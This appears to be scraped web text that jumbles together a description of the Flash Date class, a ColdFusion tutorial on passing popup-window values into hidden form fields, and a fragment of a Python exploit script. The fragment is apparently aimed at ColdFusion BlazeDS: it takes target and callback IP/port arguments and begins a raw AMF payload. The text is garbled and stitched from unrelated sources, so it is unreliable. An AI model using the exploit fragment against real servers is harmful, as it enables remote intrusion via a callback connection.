An instance of the Date class represents a particular point in time for which the properties such as month, day, hours, and seconds can be queried or modified.The Date class lets you retrieve date and time values relative to universal time (Greenwich mean time, now called universal time or UTC) or relative to local time, which is determined by the local time zone setting on the operating system that is running Flash Player.Here is the code for do Submit(): Now when the user clicks the button from the popup window, the values from that window are copied to the hidden form elements that exist in the form, and they will be passed to the server. I don’t have to setup a bunch of hidden fields in the form, I just create them in the do Submit() function.You just need to have one element inside the form already that you can reference, so you can add an element after it.
When the user clicks the submit button, we use cfwindow to open a popup window and prompt for age.
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= 5: print "Usage: ./cf_blazeds_target_IP target_port callback_IP callback_port" quit() target_IP = sys.argvtarget_port = sys.argvcallback_IP = sys.argvcallback_port = sys.argv amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' \ '\x07\x33' 'server.
Lets change the code to this: Here I’ve added a hidden field for the age, and given IDs to both age fields and the form tag so I can reference them easily.
I’ve also changed the submit button to a regular button, and gave it an onclick handler of do Submit.